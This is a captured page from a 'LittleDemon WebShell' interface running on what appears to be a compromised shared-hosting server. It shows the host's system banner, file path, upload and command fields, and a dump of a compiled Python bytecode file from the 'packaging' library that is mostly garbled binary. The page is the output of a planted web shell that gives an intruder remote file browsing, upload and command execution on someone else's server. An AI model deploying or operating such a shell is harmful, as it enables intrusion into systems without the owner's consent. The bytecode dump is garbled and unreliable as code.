LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /opt/alt/python311/lib/python3.11/site-packages/packaging/__pycache__/
File Upload :
Command :
Current File : //opt/alt/python311/lib/python3.11/site-packages/packaging/__pycache__/utils.cpython-311.pyc

�

��Cf��	��ddlZddlmZmZmZmZmZddlmZm	Z	ddl
mZmZeedee
effZede��ZGd�d	e��ZGd
�de��ZGd�d
e��Zejdej��Zejd��Zejd��Zejd��Zdd�dededefd�Zdedefd�Zdd�deeefdedefd�Zdedeeeeeeffd�Zdedeeeffd �Z dS)!�N)�	FrozenSet�NewType�Tuple�Union�cast�)�Tag�	parse_tag)�InvalidVersion�Version��NormalizedNamec��eZdZdZdS)�InvalidNamezW
    An invalid distribution name; users should refer to the packaging user guide.
    N��__name__�
__module__�__qualname__�__doc__r
��B/opt/alt/python311/lib/python3.11/site-packages/packaging/utils.pyrr����������rrc��eZdZdZdS)�InvalidWheelFilenamezM
    An invalid wheel filename was found, users should refer to PEP 427.
    Nrr
rrrrrrrc��eZdZdZdS)�InvalidSdistFilenamez^
    An invalid sdist filename was found, users should refer to the packaging user guide.
    Nrr
rrrrrrrz)^([A-Z0-9]|[A-Z0-9][A-Z0-9._-]*[A-Z0-9])$z[-_.]+z/^([a-z0-9]|[a-z0-9]([a-z0-9-](?!--))*[a-z0-9])$z	(\d+)(.*)F)�validate�namer�returnc���|r,t�|��std|�����t�d|�����}t
t|��S)Nzname is invalid: �-)�_validate_regex�matchr�_canonicalize_regex�sub�lowerrr)rr�values   r�canonicalize_namer(+sg���8��-�-�d�3�3�8��6�d�6�6�7�7�7��#�#�C��.�.�4�4�6�6�E����&�&�&rc�:�t�|��duS�N)�_normalized_regexr#)rs r�is_normalized_namer,3s���"�"�4�(�(��4�4rT)�strip_trailing_zero�versionr-c���t|t��r#	t|��}n#t$r|cYSwxYw|}g}|jdkr|�|j�d���d�d�|jD����}|rtj	dd|��}|�|��|j
�7|�d�d�|j
D������|j�|�d	|j����|j�|�d
|j����|j
�|�d|j
����d�|��S)z�
    This is very similar to Version.__str__, but has one subtle difference
    with the way it handles the release segment.
    r�!�.c3�4K�|]}t|��V��dSr*��str��.0�xs  r�	<genexpr>z'canonicalize_version.<locals>.<genexpr>Ns(����>�>�!�s�1�v�v�>�>�>�>�>�>rz(\.0)+$�Nc3�4K�|]}t|��V��dSr*r3r5s  rr8z'canonicalize_version.<locals>.<genexpr>Vs(����8�8��S��V�V�8�8�8�8�8�8rz.postz.dev�+)�
isinstancer4rr�epoch�append�join�release�rer%�pre�post�dev�local)r.r-�parsed�parts�release_segments     r�canonicalize_versionrI7s����'�3����	��W�%�%�F�F���	�	�	��N�N�N�	�������E��|�q���
�����'�'�'�(�(�(��h�h�>�>�v�~�>�>�>�>�>�O��B��&��R��A�A��	�L�L��!�!�!��z��
���R�W�W�8�8�V�Z�8�8�8�8�8�9�9�9��{��
���*�V�[�*�*�+�+�+��z��
���(�F�J�(�(�)�)�)��|��
���'���'�'�(�(�(�
�7�7�5�>�>�s�'�6�6�filenamec�N�|�d��std|�����|dd�}|�d��}|dvrtd|�����|�d|dz
��}|d}d	|vs t	jd
|tj���td|�����t|��}	t|d��}n%#t$r}td
|����|�d}~wwxYw|dkr�|d}t�|��}|�td|�d|�d����ttt|�d����|�d��f��}	nd}	t|d��}
|||	|
fS)Nz.whlz3Invalid wheel filename (extension must be '.whl'): ���r!)��z0Invalid wheel filename (wrong number of parts): �r�__z^[\w\d._]*$zInvalid project name: rz*Invalid wheel filename (invalid version): rNzInvalid build number: z in '�'r
���)�endswithr�count�splitrAr#�UNICODEr(rr�_build_tag_regexr�BuildTag�int�groupr
)rJ�dashesrG�	name_partrr.�e�
build_part�build_match�build�tagss           r�parse_wheel_filenamerbgs������V�$�$�
�"�L�(�L�L�
�
�	
�����}�H�
�^�^�C�
 �
 �F�
�V���"�I�x�I�I�
�
�	
�
�N�N�3���
�+�+�E��a��I��y���B�H�^�Y��
�K�K�S�"�#F�H�#F�#F�G�G�G��Y�'�'�D���%��(�#�#��������"�C��C�C�
�
��	���������
��{�{��1�X�
�&�,�,�Z�8�8����&�E��E�E�(�E�E�E���
��X��K�$5�$5�a�$8�$8� 9� 9�;�;L�;L�Q�;O�;O�P�Q�Q������U�2�Y���D��'�5�$�'�'s�C�
C<�$C7�7C<c���|�d��r|dtd���}n@|�d��r|dtd���}ntd|�����|�d��\}}}|std|�����t	|��}	t|��}n%#t$r}td|����|�d}~wwxYw||fS)Nz.tar.gzz.zipz@Invalid sdist filename (extension must be '.tar.gz' or '.zip'): r!zInvalid sdist filename: z*Invalid sdist filename (invalid version): )rS�lenr�
rpartitionr(rr)rJ�	file_stemr\�sep�version_partrr.r]s        r�parse_sdist_filenameri�s,������#�#�
��.��I����.�/�	�	�	�	�	�6�	"�	"�
��^��F���|�^�,�	�	�"�
��
�
�
�
�	
�$-�#7�#7��#<�#<� �I�s�L��J�"�#H�h�#H�#H�I�I�I��Y�'�'�D���,�'�'��������"�C��C�C�
�
��	���������

�'�?�s�,B<�<
C�C�C)!rA�typingrrrrrrar	r
r.rrrYr4rXr�
ValueErrorrrr�compile�
IGNORECASEr"r$r+rW�boolr(r,rIrbrir
rr�<module>rosx��

�	�	�	�9�9�9�9�9�9�9�9�9�9�9�9�9�9� � � � � � � � �,�,�,�,�,�,�,�,���r��E�#�s�(�O�+�,����)�3�/�/�������*���������:���������:�����"�*�0�"�-����!�b�j��+�+���B�J�Q�R�R���2�:�l�+�+��6;�'�'�'�C�'�d�'�~�'�'�'�'�5�S�5�T�5�5�5�5�
BF�-�-�-�
�7�C�<�
 �-�:>�-��-�-�-�-�`((��((�
�>�7�H�i��n�<�=�((�((�((�((�V�3��5���1H�+I������r

LittleDemon - FACEBOOK
[ KELUAR ]